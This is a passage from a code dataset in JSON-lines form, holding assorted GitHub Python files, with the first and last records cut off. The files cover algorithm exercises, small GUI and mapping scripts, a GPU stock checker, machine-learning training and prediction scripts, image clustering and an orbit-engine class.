tamanno))\n","repo_name":"JSalram/Python","sub_path":"Learning/Ejercicios/Ej4.py","file_name":"Ej4.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3458907787","text":"# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution(object):\n def deleteNode(self, head, val):\n \"\"\"\n :type head: ListNode\n :type val: int\n :rtype: ListNode\n \"\"\"\n dummy = ListNode(0)\n dummy.next = head\n pre = dummy\n\n while head!= None:\n if head.val == val:\n pre.next = head.next\n break\n\n pre = head\n head = head.next\n\n return dummy.next\n\nif __name__ == '__main__':\n ListNode4 = ListNode(4)\n ListNode5 = ListNode(5)\n ListNode1 = ListNode(1)\n ListNode9 = ListNode(9)\n\n ListNode4.next = ListNode5\n ListNode5.next = ListNode1\n ListNode1.next = ListNode9\n\n print( Solution().deleteNode(ListNode4, 9) )\n\n\n","repo_name":"pi408637535/Algorithm","sub_path":"com/study/algorithm/offer/剑指 Offer 18. 删除链表的节点.py","file_name":"剑指 Offer 18. 删除链表的节点.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"14128677048","text":"#!/usr/local/bin/ python3\n# -*- coding:utf-8 -*-\n# __author__ = \"zenmeder\"\n\n# Definition for an interval.\nclass Interval(object):\n def __init__(self, s=0, e=0):\n self.start = s\n self.end = e\n\n\nclass Solution(object):\n def insert(self, intervals, newInterval):\n \"\"\"\n :type intervals: List[Interval]\n :type newInterval: Interval\n :rtype: List[Interval]\n \"\"\"\n intervals = sorted(intervals, key=lambda x: x.start)\n length = len(intervals)\n i, j = 0, length - 1\n while i <= j:\n mid = (i + j) // 2\n if intervals[mid].start < newInterval.start:\n i = mid + 1\n else:\n j = mid - 1\n if i:\n if intervals[i - 1].start <= newInterval.start <= intervals[i - 1].end:\n intervals[i - 1].end = max(newInterval.end, intervals[i - 1].end)\n res = intervals[:i]\n else:\n res = intervals[:i]+[newInterval]\n else:\n res = [newInterval]\n\n while i < length:\n if res[-1].start <= intervals[i].start <= res[-1].end:\n res[-1].end = max(intervals[i].end, res[-1].end)\n else:\n res += intervals[i:]\n break\n i += 1\n print([[a.start, a.end] for a in res])\n return res\na = Interval(1, 2)\nb = Interval(3, 5)\n# Solution().insert([a],b)\nc = Interval(6, 7)\nd = Interval(8, 10)\ne = Interval(12, 16)\nf = Interval(1,1)\nSolution().insert([a, b, c, d, e], f)\n","repo_name":"zenmeder/leetcode","sub_path":"57.py","file_name":"57.py","file_ext":"py","file_size_in_byte":1549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13428690788","text":"def print_board(board):\n for row in board:\n print(\" | \".join(row))\n print(\"-\" * 9)\n\ndef check_winner(board):\n # Проверка строк\n for row in board:\n if row.count(row[0]) == len(row) and row[0] != \" \":\n return True\n\n # Проверка столбцов\n for col in range(len(board[0])):\n if board[0][col] == board[1][col] == board[2][col] != \" \":\n return True\n\n # Проверка диагоналей\n if board[0][0] == board[1][1] == board[2][2] != \" \":\n return True\n if board[0][2] == board[1][1] == board[2][0] != \" \":\n return True\n\n return False\n\ndef play_game():\n board = [[\" \", \" \", \" \"],\n [\" \", \" \", \" \"],\n [\" \", \" \", \" \"]]\n\n player = \"X\"\n turns = 0\n\n while turns < 9:\n print_board(board)\n print(f\"Ходит игрок {player}\")\n\n row = int(input(\"Выберите стр��ку (0, 1, 2): \"))\n col = int(input(\"Выберите столбец (0, 1, 2): \"))\n\n if board[row][col] == \" \":\n board[row][col] = player\n turns += 1\n\n if check_winner(board):\n print_board(board)\n print(f\"Игрок {player} победил!\")\n return\n\n player = \"O\" if player == \"X\" else \"X\"\n else:\n print(\"Эта клетка уже занята!\")\n\n print_board(board)\n print(\"Ничья!\")\n\nplay_game()","repo_name":"OsokinSergey/Python","sub_path":"seminar5/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17884667555","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2020/12/25 9:35\n@Author : 慢慢来\n@File :save_image_setting.py\n@IDE :PyCharm\n\"\"\"\nfrom PySide2 import QtWidgets,QtGui\nimport os\nimport matplotlib\n\nclass Window(QtWidgets.QDialog):\n def __init__(self, canvas):\n super().__init__()\n self.setWindowTitle('Save Image Setting')\n self.canvas = canvas\n self.width_lineedit = QtWidgets.QLineEdit()\n self.height_lineedit = QtWidgets.QLineEdit()\n self.dpi_lineedit = QtWidgets.QLineEdit()\n self.path_lineedit = QtWidgets.QLineEdit()\n self.path_lineedit.setReadOnly(True)\n validator = QtGui.QDoubleValidator()\n validator.setBottom(0)\n self.width_lineedit.setValidator(validator)\n self.height_lineedit.setValidator(validator)\n self.dpi_lineedit.setValidator(validator)\n self.width_lineedit.setText(str(self.canvas.figure.get_figwidth()))\n self.height_lineedit.setText(str(self.canvas.figure.get_figheight()))\n self.dpi_lineedit.setText(str(self.canvas.figure.get_dpi()))\n self.cancel_button = QtWidgets.QPushButton('取消')\n self.confirm_button = QtWidgets.QPushButton('确认')\n self.choose_button = QtWidgets.QPushButton('选择路径')\n self.choose_button.clicked.connect(self.open_file_slot)\n self.layout = QtWidgets.QFormLayout()\n self.layout.addRow('宽度/英寸', self.width_lineedit)\n self.layout.addRow('高度/英寸', self.height_lineedit)\n self.layout.addRow('DPI(像素/英寸)', self.dpi_lineedit)\n self.layout.addRow(self.choose_button, self.path_lineedit)\n self.layout.addRow(self.cancel_button, self.confirm_button)\n self.setLayout(self.layout)\n self.confirm_button.clicked.connect(self.confirm_slot)\n self.cancel_button.clicked.connect(self.cancel_slot)\n self.exec_()\n def open_file_slot(self):\n filetypes = self.canvas.get_supported_filetypes_grouped()\n sorted_filetypes = sorted(filetypes.items())\n default_filetype = self.canvas.get_default_filetype()\n\n if os.path.exists(matplotlib.rcParams['savefig.directory']):\n startpath = matplotlib.rcParams['savefig.directory']\n else:\n startpath = os.path.expanduser('~')\n start = os.path.join(startpath, self.canvas.get_default_filename())\n filters = []\n selectedFilter = None\n for name, exts in sorted_filetypes:\n exts_list = \" \".join(['*.%s' % ext for ext in exts])\n filter = '%s (%s)' % (name, exts_list)\n if default_filetype in exts:\n selectedFilter = filter\n filters.append(filter)\n filters = ';;'.join(filters)\n file_path, ok = QtWidgets.QFileDialog.getSaveFileName(self,\n 'Save Image',\n start,filter=filters,\n initialFilter=selectedFilter)\n self.path_lineedit.setText(file_path)\n\n def confirm_slot(self):\n fname=self.path_lineedit.text()\n startpath = os.path.expanduser(\n matplotlib.rcParams['savefig.directory'])\n raw_width = self.canvas.figure.get_figwidth()\n raw_height = self.canvas.figure.get_figheight()\n width=float(self.width_lineedit.text())\n height=float(self.height_lineedit.text())\n dpi=float(self.dpi_lineedit.text())\n self.canvas.figure.set_figwidth(width)\n self.canvas.figure.set_figheight(height)\n if fname:\n if startpath != \"\":\n matplotlib.rcParams['savefig.directory'] = (\n os.path.dirname(fname))\n try:\n self.canvas.figure.savefig(fname,dpi=dpi)\n except Exception as e:\n QtWidgets.QMessageBox.critical(\n self, \"请确认路径正确,或输入了合理的尺寸和DPI值\", str(e),\n QtWidgets.QMessageBox.Ok, QtWidgets.QMessageBox.NoButton)\n self.canvas.figure.set_figwidth(raw_width)\n self.canvas.figure.set_figheight(raw_height)\n self.canvas.draw_idle()\n self.close()\n\n def cancel_slot(self):\n self.close()\n","repo_name":"pyminer/pyminer","sub_path":"pyminer/packages/pmagg/ui/save_image_setting.py","file_name":"save_image_setting.py","file_ext":"py","file_size_in_byte":4303,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"36"} +{"seq_id":"11026953790","text":"# %%\nimport tkinter as tk\n\nwin = tk.Tk()\nwin.title(\"Nihao\")\nwin.geometry('800x600')\nwin.configure(background='white')\n\nheader_label = tk.Label(win, text='你好')\nheader_label.pack(side=\"top\")\n\nheader_label = tk.Label(win, text='BMI 計算器')\nheader_label.pack(side=\"top\")\n\nheight_frame = tk.Frame(win)\nheight_frame.pack(side=tk.TOP)\nheight_label = tk.Label(height_frame, text='身高(m)')\n\nif __name__==\"__main__\":\n win.mainloop()\n\n# %%\n'''\nimport tkinter as tk\nimport math\n\nwindow = tk.Tk()\nwindow.title('BMI App')\nwindow.geometry('800x600')\nwindow.configure(background='white')\n\ndef calculate_bmi_number():\n height = float(height_entry.get())\n weight = float(weight_entry.get())\n bmi_value = round(weight / math.pow(height, 2), 2)\n result = '你的 BMI 指數為:{} {}'.format(bmi_value, get_bmi_status_description(bmi_value))\n result_label.configure(text=result)\n\ndef get_bmi_status_description(bmi_value):\n if bmi_value < 18.5:\n return '體重過輕囉,多吃點!'\n elif bmi_value >= 18.5 and bmi_value < 24:\n return '體重剛剛好,繼續保持!'\n elif bmi_value >= 24 :\n return '體重有點過重囉,少吃多運動!'\n\nheader_label = tk.Label(window, text='BMI 計算器')\nheader_label.pack()\n\nheight_frame = tk.Frame(window)\nheight_frame.pack(side=tk.TOP)\nheight_label = tk.Label(height_frame, text='身高(m)')\nheight_label.pack(side=tk.LEFT)\nheight_entry = tk.Entry(height_frame)\nheight_entry.pack(side=tk.LEFT)\n\nweight_frame = tk.Frame(window)\nweight_frame.pack(side=tk.TOP)\nweight_label = tk.Label(weight_frame, text='體重(kg)')\nweight_label.pack(side=tk.LEFT)\nweight_entry = tk.Entry(weight_frame)\nweight_entry.pack(side=tk.LEFT)\n\nresult_label = tk.Label(window)\nresult_label.pack()\n\ncalculate_btn = tk.Button(window, text='馬上計算', command=calculate_bmi_number)\ncalculate_btn.pack()\n\nwindow.mainloop()\n'''\n# %%\na = input(\"Nihao\")\n\nprint(a)\n# %%\nimport folium\n\nword_map =folium.Map()\n\nfolium.Marker(\n location=(35.69,139.69),\n popup=\"東京\"\n).add_to(word_map)\n\nfolium.Marker(\n location=(40.6643,-73.9385),\n popup=\"紐約\"\n).add_to(word_map)\n\nfolium.Marker(\n location=(48.51,2.2),\n popup=\"巴黎\"\n).add_to(word_map)\n\nfolium.Marker(\n location=(25.26,55.29),\n popup=\"杜拜\"\n).add_to(word_map)\n\nroute = folium.PolyLine( #polyline方法爲將座標用線段形式連接起來\n [[35.69,139.69],[40.6642,-73.9385]], #將座標點連接起來\n weight=3, #線的大小爲3\n color='orange', #線的顏色爲橙色\n opacity=0.8 #線的透明度\n).add_to(word_map)\n#word_map.save(\"word_map.html\")\n# %%\n","repo_name":"shihhuiyi/VRP_model","sub_path":"get_distance/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"30981045605","text":"#!/Library/Frameworks/Python.framework/Versions/3.6/bin/python3\n\n# 1080ti Stock Checker\n# v2.0\n# Alex Haynes\n# alexh\n# Checks nvidia site if 1080ti are in stock\n# https://images.nvidia.com/pascal/img/gtx1080ti/gallery/gallery-2.jpg\n# python\n\nimport urllib.request, json, time\nwith urllib.request.urlopen(\"http://api.findgpu.com/gpus?\" + str(int(time.time()))) as url:\n\tdata = json.loads(url.read().decode())\n\tmy_item = next((item for item in data if item['gpu_id'] == \"900-1G611-2550-000\"), None)\n\tin_stock = my_item['in_stock']\n\tif in_stock == 'false':\n\t\tstatus = \":heavy_multiplication_x:\"\n\telse:\n\t\tstatus = \":white_check_mark:\"\nprint (\"1080Ti: \" + status)\nprint (\"---\")\nprint (\"Buy Now\" + \"| href=https://www.nvidia.com/en-us/geforce/products/10series/geforce-gtx-1080-ti/\")\n","repo_name":"damncabbage/dotfiles","sub_path":"macOS/BitBar/Plugins/E-Commerce/nvidia.3m.py","file_name":"nvidia.3m.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"36"} +{"seq_id":"40657058930","text":"# python train_particleTest.py -gpu 2 -ep 20 -bs 128 -vSize 22 -vm 10 -zdim 30 -hdim 64 -enc plain -dec plain -log log_particleTest -name Plain_Plain_bs128_z30h64_gs8_gm22 MDSets/2560_smallGrid/\n\nimport tensorflow as tf\nimport numpy as np\nimport scipy\nimport time\nimport math\nimport argparse\nimport random\nimport sys\nimport os\n\nfrom termcolor import colored, cprint\n\nimport model_graph_ref as model\nfrom model_graph_ref import model_particles as model_net\n# import dataLoad_particleTest as dataLoad # Legacy method, strongly disagree with i.i.d. distribution among batch(epoch)es.\nimport dataLoad_graph as dataLoad # New method, shuffle & mixed randomly\n\nfrom time import gmtime, strftime\n\nimport progressbar\n\nfrom tensorflow.python import debug as tf_debug\n\nparser = argparse.ArgumentParser(description=\"Run the NN for particle simulation\")\n\n\nparser.add_argument('datapath')\nparser.add_argument('outpath')\nparser.add_argument('-gpu', '--cuda-gpus')\n\nparser.add_argument('-ep', '--epochs', type = int, default = 20)\nparser.add_argument('-bs', '--batch-size', type = int, default = 16)\nparser.add_argument('-vLen', '--voxel-length', type = int, default = 96, help = \"Size of voxel (0 to use voxel length stored in file)\")\nparser.add_argument('-vSize', '--voxel-size', type = int, default = 2560, help = \"Max amount of particles in a voxel\")\nparser.add_argument('-vm', '--velocity-multiplier', type = float, default = 1.0, help = \"Multiplies the velocity (input[..., 3:]) by this factor\")\nparser.add_argument('-norm', '--normalize', type = float, default = 1.0, help = \"stddev of input data\")\n\nparser.add_argument('-zdim', '--latent-dim', type = int, default = 512, help = \"Length of the latent vector\")\nparser.add_argument('-hdim', '--hidden-dim', type = int, default = 64, help = \"Length of the hidden vector inside network\")\nparser.add_argument('-cdim', '--cluster-dim', type = int, default = 32, help = \"How many neighbors should be considered in the graph network\")\nparser.add_argument('-ccnt', '--cluster-count', type = int, default = 64, help = \"How many neighbors should be considered in the graph network\")\nparser.add_argument('-odim', '--output-dim', type = int, default = 6, help = \"What kind of data should we output?\")\nparser.add_argument('-knnk', '--nearest-neighbor', type = int, default = 16, help = \"How many neighbors should be considered in the graph network\")\nparser.add_argument('-loop', '--loop-sim', type = int, default = 5, help = \"Loop simulation sim count\")\n\nparser.add_argument('-lr', '--learning-rate', type = float, default = 0.0003, help = \"learning rate\")\nparser.add_argument('-beta1', '--beta1', type = float, default = 0.9, help = \"beta1\")\nparser.add_argument('-beta2', '--beta2', type = float, default = 0.999, help = \"beta2\")\nparser.add_argument('-l2', '--l2-loss', dest = 'loss_func', action='store_const', default = tf.abs, const = tf.square, help = \"use L2 Loss\")\nparser.add_argument('-maxpool', '--maxpool', dest = 'combine_method', action='store_const', default = tf.reduce_mean, const = tf.reduce_max, help = \"use Max pooling instead of sum up for permutation invariance\")\nparser.add_argument('-adam', '--adam', dest = 'adam', action='store_const', default = False, const = True, help = \"Use Adam optimizer\")\nparser.add_argument('-fp16', '--fp16', dest = 'dtype', action='store_const', default = tf.float32, const = tf.float16, help = \"Use FP16 instead of FP32\")\nparser.add_argument('-nloop', '--no-loop', dest = 'doloop', action='store_const', default = True, const = False, help = \"Don't loop simulation regularization\")\nparser.add_argument('-nsim', '--no-sim', dest = 'dosim', action='store_const', default = True, const = False, help = \"Don't do Simulation\")\n\nparser.add_argument('-log', '--log', type = str, default = \"logs\", help = \"Path to log dir\")\nparser.add_argument('-name', '--name', type = str, default = \"NoName\", help = \"Name to show on tensor board\")\nparser.add_argument('-preview', '--previewName', type = str, default = \"unnamed\", help = \"Name for save preview point clouds\")\nparser.add_argument('-save', '--save', type = str, default = \"model\", help = \"Path to store trained model\")\nparser.add_argument('-load', '--load', type = str, default = \"None\", help = \"File to load to continue training\")\nparser.add_argument('-debug', '--debug', dest = \"enable_debug\", action = 'store_const', default = False, const = True, help = \"Enable debugging\")\nparser.add_argument('-prof', '--profile', dest = \"profile\", action = 'store_const', default = False, const = True, help = \"Enable profiling (at step 10)\")\n# parser.add_argument('-prof', '--profile', type = str, default = \"None\", help = \"Path to store profiling timeline (at step 100)\")\n\nparser.add_argument('-latent', '--latent-code', dest = 'latent_code', action='store_const', default = False, const = True, help = \"Store latent code instead of reconstruction results\")\n\nargs = parser.parse_args()\n\ndef write_models(array, meta, dirc, name):\n if not os.path.exists(dirc):\n os.makedirs(dirc)\n \n with open(os.path.join(dirc, name), 'w') as model_file:\n for pi in range(array.shape[0]):\n for ci in range(array.shape[1]):\n model_file.write('%f ' % array[pi, ci])\n if meta is not None:\n for mi in range(len(meta)):\n pCount = array.shape[0] // meta[mi]\n model_file.write('%d ' % (pi // pCount))\n model_file.write('\\n')\n\ndataLoad.maxParticlesPerGrid = args.voxel_size\nif args.voxel_length == 0:\n dataLoad.overrideGrid = False\nelse:\n dataLoad.overrideGrid = True\n dataLoad.overrideGridSize = args.voxel_length\n\nif args.name == \"NoName\":\n args.name = \"[NPY][NoCard][1st2ndmomentEdges(edgeMask,[u;v;edg])][NoPosInVertFeature] E(%s)-D(%s)-%d^3(%d)g%dh%dz-bs%dlr%f-%s\" % (\"graph\", \"graph\", args.voxel_length, args.voxel_size, args.hidden_dim, args.latent_dim, args.batch_size, args.learning_rate, 'Adam' if args.adam else 'mSGD')\n\nif args.previewName == 'unnamed':\n args.previewName = args.name\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = args.cuda_gpus\n\nlogPath = os.path.join(args.log, args.name + \"(\" + strftime(\"%Y-%m-%d %H-%Mm-%Ss\", gmtime()) + \")/\")\n\nmodel.default_dtype = args.dtype\n# model.default_dtype = tf.float32\n\n# Create the model\nif args.adam:\n optimizer = tf.train.AdamOptimizer(learning_rate = args.learning_rate, beta1 = args.beta1, beta2 = args.beta2)\nelse:\n optimizer = tf.train.MomentumOptimizer(learning_rate = args.learning_rate, momentum = args.beta1)\n\nif args.dtype == tf.float16:\n loss_scale_manager = tf.contrib.mixed_precision.ExponentialUpdateLossScaleManager(16.0, 32)\n # loss_scale_manager = tf.contrib.mixed_precision.FixedLossScaleManager(96.0)\n optimizer = tf.contrib.mixed_precision.LossScaleOptimizer(optimizer, loss_scale_manager)\n os.environ['TF_ENABLE_AUTO_MIXED_PRECISION'] = '1'\n\n_, _, normalize = dataLoad.get_fileNames(args.datapath)\n\n# model = model_net(16, args.latent_dim, args.batch_size, optimizer)\nmodel = model_net(args.voxel_size, args.latent_dim, args.batch_size, optimizer, args.output_dim)\nmodel.particle_hidden_dim = args.hidden_dim\nmodel.loss_func = args.loss_func\nmodel.combine_method = args.combine_method\nmodel.knn_k = args.nearest_neighbor\nmodel.cluster_feature_dim = args.cluster_dim\nmodel.cluster_count = args.cluster_count\nmodel.doSim = args.dosim\nmodel.doLoop = args.dosim and args.doloop\nmodel.loops = args.loop_sim\n\nmodel.normalize = normalize\nif normalize == {}:\n print(\"No normalization descriptor found ... \")\n model.normalize = {'mean': 0.0, 'std': args.normalize}\n\n# Headers\n# headers = dataLoad.read_file_header(dataLoad.get_fileNames(args.datapath)[0])\nmodel.total_world_size = 96.0\nmodel.initial_grid_size = model.total_world_size / 16\n\n# model.initial_grid_size = model.total_world_size / 4\n\n# Build the model\n# normalized_X = model.ph_X / args.normalize\n# normalized_Y = model.ph_Y / args.normalize\n\npEnc, fEnc, gtNorm = model.build_predict_Enc(is_train = False, reuse = False)\nrec, rLoss = model.build_predict_Dec(pEnc, fEnc, gtNorm, is_train = False, reuse = False, outDim = args.output_dim)\noutDim = args.output_dim\n\n# Create session\nsess = tf.Session()\n\nif args.enable_debug:\n sess = tf_debug.LocalCLIDebugWrapperSession(sess)\n sess.add_tensor_filter(\"has_inf_or_nan\", tf_debug.has_inf_or_nan)\n\n # variables_names = [v.name for v in tf.trainable_variables()]\n # values = sess.run(variables_names)\n # cprint('Trainable vars', 'red')\n # for k, v in zip(variables_names, values):\n # cprint(\"Variable: \" + str(k), 'yellow')\n # cprint(\"Shape: \" + (v.shape), 'green')\n # #print(v)\n\nsave_path = \"savedModels/\" + args.name + \"/\"\nif not os.path.exists(save_path):\n os.makedirs(save_path)\n\n# Save & Load\nsaver = tf.train.Saver()\n\nif args.load == \"auto\" or args.load == \"Auto\":\n latest_ckpt = tf.train.latest_checkpoint(save_path)\n if latest_ckpt is not None:\n saver.restore(sess, latest_ckpt)\n print(\"Check point loaded: %s\" % latest_ckpt)\nelif args.load != \"None\":\n saver.restore(sess, args.load)\n\nbatch_idx = 0\nepoch_idx = 0\niteration = 0\n\nmaxl_array = np.zeros((2))\nmaxl_array[0] = args.voxel_size\nmaxl_array[1] = args.voxel_size\n\nbs = args.batch_size\nN = args.voxel_size\n\nsess.graph.finalize()\n\nfor epoch_test, outFileName, outFileShape in dataLoad.gen_epochs_predict(args.epochs, args.datapath, args.batch_size, args.velocity_multiplier, args.output_dim):\n\n epoch_idx += 1\n print(colored(\"Epoch %03d\" % (epoch_idx), 'yellow'))\n\n # Train\n ecnt = 0\n epoch_results = []\n for _x, _x_size in epoch_test:\n\n batch_idx += 1\n\n if args.latent_code == True:\n\n _penc, _fenc = sess.run([pEnc, fEnc], feed_dict = { model.ph_X: _x[0] })\n out_result = np.concatenate((_penc, _fenc), axis = -1)\n\n print(colored(\"Ep %04d\" % epoch_idx, 'yellow') + ' - ' + colored(\" Test Iteration %08d\" % batch_idx, 'magenta'))\n \n else:\n\n _prec, _loss = sess.run([rec, rLoss], feed_dict = { model.ph_X: _x[0], model.ph_card: _x_size, model.ph_max_length: maxl_array })\n out_result = _prec\n\n print(colored(\"Ep %04d\" % epoch_idx, 'yellow') + ' - ' + colored(\" Test Iteration %08d\" % batch_idx, 'magenta') + ' - ' + colored(\" Loss = %03.4f\" % _loss, 'green'))\n\n epoch_results.append(out_result)\n \n print(\"Writing file for Ep %04d ... \" % epoch_idx)\n final_result = np.concatenate(epoch_results, axis = 0)\n np.save(os.path.join(args.outpath, outFileName), final_result)\n","repo_name":"betairylia/NNParticles","sub_path":"predict_graph_ref.py","file_name":"predict_graph_ref.py","file_ext":"py","file_size_in_byte":10583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3900893552","text":"from matplotlib import pyplot as plt\nimport numpy as np\nfrom tensorflow.keras.preprocessing import image\nimport seaborn as sns\nimport pandas as pd\n\ndef predict(img_rel_path, model):\n # Import Image from the path with size of (300, 300)\n img = image.load_img(img_rel_path, target_size=(224, 224))\n\n # Convert Image to a numpy array\n img = image.img_to_array(img, dtype=np.uint8)\n\n # Scaling the Image Array values between 0 and 1\n img = np.array(img)/255.0\n\n # Plotting the Loaded Image\n plt.title(\"Loaded Image\")\n plt.axis('off')\n plt.imshow(img.squeeze())\n plt.show()\n\n # Get the Predicted Label for the loaded Image\n p = model.predict(img[np.newaxis, ...])\n\n # Label array\n labels = {0: 'Butterfly', 1: 'Dragonfly', 2: 'Grasshopper', 3: 'Ladybird', 4: 'Mosquito'}\n\n print(\"\\n\\nMaximum Probability: \", np.max(p[0], axis=-1))\n predicted_class = labels[np.argmax(p[0], axis=-1)]\n print(\"Classified:\", predicted_class, \"\\n\\n\")\n\n classes=[]\n prob=[]\n print(\"\\n-------------------Individual Probability--------------------------------\\n\")\n\n for i,j in enumerate (p[0],0):\n print(labels[i].upper(),':',round(j*100,2),'%')\n classes.append(labels[i])\n prob.append(round(j*100,2))\n\n def plot_bar_x():\n # this is for plotting purpose\n index = np.arange(len(classes))\n plt.bar(index, prob)\n plt.xlabel('Labels', fontsize=8)\n plt.ylabel('Probability', fontsize=8)\n plt.xticks(index, classes, fontsize=8, rotation=20)\n plt.title('Probability for loaded image')\n plt.show()\n plot_bar_x()\n return p\n\ndef confusion_matrix(array):\n\n df_cm = pd.DataFrame(array, range(5), range(5))\n # plt.figure(figsize=(10,7))\n sns.set(font_scale=1.4) # for label size\n xticks = ['Butterfly','Dragonfly','Grasshopper', 'Ladybird', 'Mosquito']\n yticks = ['Butterfly','Dragonfly','Grasshopper', 'Ladybird', 'Mosquito']\n ax = sns.heatmap(df_cm, annot=True, annot_kws={\"size\": 16},\n xticklabels=xticks,\n yticklabels=yticks) # font size\n plt.xlabel('Predicted Classes') # label title for x coord\n plt.ylabel('True Classes') # label title for y coord\n plt.title('Confusion Matrix')\n\n plt.show()\n\n","repo_name":"nguyen-tho/VGG19_Insect_Classification","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"14147410368","text":"from run_for_implementation import *\nfrom agent import AgentModSAC\nimport pdb\nimport control\nimport sys\nconfig_path=os.path.split(os.path.abspath(__file__))[0]\nconfig_path=config_path.rsplit('/',1)[0]\nsys.path.append(config_path)\nfrom env_sys.env_linear_injection_modeling import BatchSysEnv\nimport numpy as np\nimport os\n# create Agent\nargs = Arguments(if_on_policy=False)\nargs.agent =AgentModSAC()\nargs.break_step = 200*4000\n\"\"\"create batch system\"\"\"\n\n# set the hyperparameters\nT_length = 200\nX0 = np.array((0.0, 0.0, 0.0))\n#pdb.set_trace()\n# T = np.array((0.0, 1))\n# define the batch system\ndef state_update(t, x, u, params):\n # get the parameter from the params\n # pdb.set_trace()\n # Map the states into local variable names\n z1 = np.array([x[0]])\n z2 = np.array([x[1]])\n z3 = np.array([x[2]])\n # Compute the discrete updates\n dz1 = 1.607 * z1 - 0.6086* z2 - 0.9282* z3 + 1.239 * u\n dz2 = z1\n dz3 = u\n # pdb.set_trace()\n return [dz1, dz2, dz3]\n\n\ndef ouput_update(t, x, u, params):\n # Parameter setup\n\n # Compute the discrete updates\n y = x[0]\n\n return [y]\n\n\nbatch_system = control.NonlinearIOSystem(\n state_update, ouput_update, inputs=('u'), outputs=('y'),\n states=('dz1', 'dz2', 'dz3'), dt=1, name='Linear_injection_modeling')\n#controlled_system = BatchSysEnv(T_length=T_length, sys=batch_system, X0=X0)\n\n\nargs.env = BatchSysEnv(T_length=T_length, sys=batch_system, X0=X0,action_co=10)\nargs.env_eval = BatchSysEnv(T_length=T_length, sys=batch_system, X0=X0,action_co=10)\n\n# Hyperparameters\nargs.agent.cri_target = True\nargs.rollout_num = 2 # the number of rollout workers (larger is not always faster)\nargs.gamma = 0.99\nargs.net_dim = 2 ** 8\nargs.batch_size = args.net_dim * 2\nargs.target_step = 3*T_length\n\"\"\"\nauthor:jianan liu\n\"\"\"\nargs.repeat_times=1\nargs.soft_update_tau = 2 ** -8\nargs.learning_rate=3e-4\nargs.eval_gap=2 ** 6\nargs.eval_times1 = 20\nargs.eval_times2 = 60\nargs.max_memo=200*2000\n\ntrain_and_evaluate(args)","repo_name":"CrazyThomasLiu/2dilc-rl","sub_path":"DRL_Compensator/demo_nominal_injection_molding_process.py","file_name":"demo_nominal_injection_molding_process.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"36"} +{"seq_id":"15809970088","text":"# -*- coding: utf-8 -*-\n\n#+--------------------------------------------------------------------------+#\n# Importem mòduls #\n#+--------------------------------------------------------------------------+#\n\nimport random\nimport numpy as np\n\n#+--------------------------------------------------------------------------+#\n# Definim les classes #\n#+--------------------------------------------------------------------------+#\n\nclass Agrupador():\n \n def __init__(self, train, k, operador):\n self._train = train\n self._k = k\n self._operador = operador\n self._results = []\n self._distancies = {}\n for i in range(k):\n self._results.append([self._train[random.randint(0, len(self._train)-1)], []])\n \n def calcula_distancies(self):\n for fitxer in self._train:\n self._distancies[fitxer] = []\n for grup in range(self._k):\n self._distancies[fitxer].append(self._operador.calcula_distancia(fitxer, self._results[grup][0]))\n \n \n def calcula_grups(self):\n for fitxer in self._distancies:\n self._results[self._distancies[fitxer].index(min(self._distancies[fitxer]))][1].append(fitxer)\n \n def calcula_representant(self):\n for group in range(self._k):\n vegada = 0 \n for arxiu in self._results[group][1]:\n if vegada == 0:\n mitjana = arxiu.representation \n vegada += 1\n else:\n mitjana += np.sum(arxiu.representation)\n mitjana = mitjana/len(self._results[group][1])\n llista_distancies = []\n for arxiu in self._results[group][1]:\n llista_distancies.append((arxiu, self._operador.calcula_distancia(arxiu, mitjana, True)))\n new = sorted(llista_distancies, key=lambda x: x[1])[0][0]\n if self._results[group][0] == new: acaba = True\n else: acaba = False\n self._results[group][1] = []\n return acaba \n \n def get_results(self):\n return self._results","repo_name":"segama4/Image_Search_Engine","sub_path":"agrupador.py","file_name":"agrupador.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"ca","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3079259950","text":"\"\"\"This is a class which defines a custom orbit. A user supplies the orbital \nelements to this engine and the vehicle function.\"\"\"\n\nimport numpy as np\n\nimport opihiexarata.library as library\nimport opihiexarata.library.error as error\nimport opihiexarata.library.hint as hint\n\n\nclass CustomOrbitEngine(library.engine.OrbitEngine):\n \"\"\"This engine is just a wrapper for when a custom orbit is desired to be\n specified.\n\n Attributes\n ----------\n semimajor_axis : float\n The semi-major axis of the orbit provided, in AU.\n semimajor_axis_error : float\n The error on the semi-major axis of the orbit provided, in AU.\n eccentricity : float\n The eccentricity of the orbit provided.\n eccentricity_error : float\n The error on the eccentricity of the orbit provided.\n inclination : float\n The angle of inclination of the orbit provided, in degrees.\n inclination_error : float\n The error on the angle of inclination of the orbit provided, in degrees.\n longitude_ascending_node : float\n The longitude of the ascending node of the orbit provided, in degrees.\n longitude_ascending_node_error : float\n The error on the longitude of the ascending node of the orbit\n provided, in degrees.\n argument_perihelion : float\n The argument of perihelion of the orbit provided, in degrees.\n argument_perihelion_error : float\n The error on the argument of perihelion of the orbit\n provided, in degrees.\n mean_anomaly : float\n The mean anomaly of the orbit provided, in 